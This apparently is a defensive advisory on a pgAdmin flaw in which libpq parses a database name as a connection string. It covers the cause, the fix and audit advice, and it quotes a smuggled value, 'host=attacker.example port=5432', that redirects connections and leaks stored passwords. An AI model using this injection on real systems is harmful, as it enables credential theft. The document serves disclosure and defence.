CVE-2026-86862 allows any authenticated pgAdmin user to exfiltrate stored database credentials by exploiting how libpq parses connection parameters. The attack works because pgAdmin exports the decrypted password as the PGPASSWORD environment variable before invoking pg_restore or psql as subprocesses. A user simply provides a database name containing 'host=attacker.example port=5432'—libpq interprets the '=' as a connection string delimiter and overrides the explicit --host and --port arguments pgAdmin supplies. The attacker's host receives the connection along with the PGPASSWORD environment variable containing the legitimate credential.
This vulnerability entered through a refactoring that removed a quoting wrapper around the database name parameter. That wrapper, though not designed as a security control, incidentally prevented connection string injection. The removal went unflagged because the security property was implicit in the implementation, not documented in code or commit messages.
The fix uses the PGDATABASE environment variable instead of passing --dbname on the command line. This works because libpq treats environment variables as literal database names while parsing command-line arguments as connection strings. However, this creates a fragility: future maintainers who encounter PGDATABASE plus an empty --dbname may see it as unnecessary complexity and revert to direct argument passing, recreating the vulnerability.
For defenders: audit any codebase that passes user-controlled values to database utilities as command-line arguments. Check whether decrypted credentials flow to subprocess environments. The combination of user-influenced parameters plus environment-passed credentials is the attack surface to map. Prefer environment-based credential passing (like PGDATABASE) over parameter-based when user input influences connection context. Document any security-relevant behavioral distinctions in code comments—future maintainers will not infer them.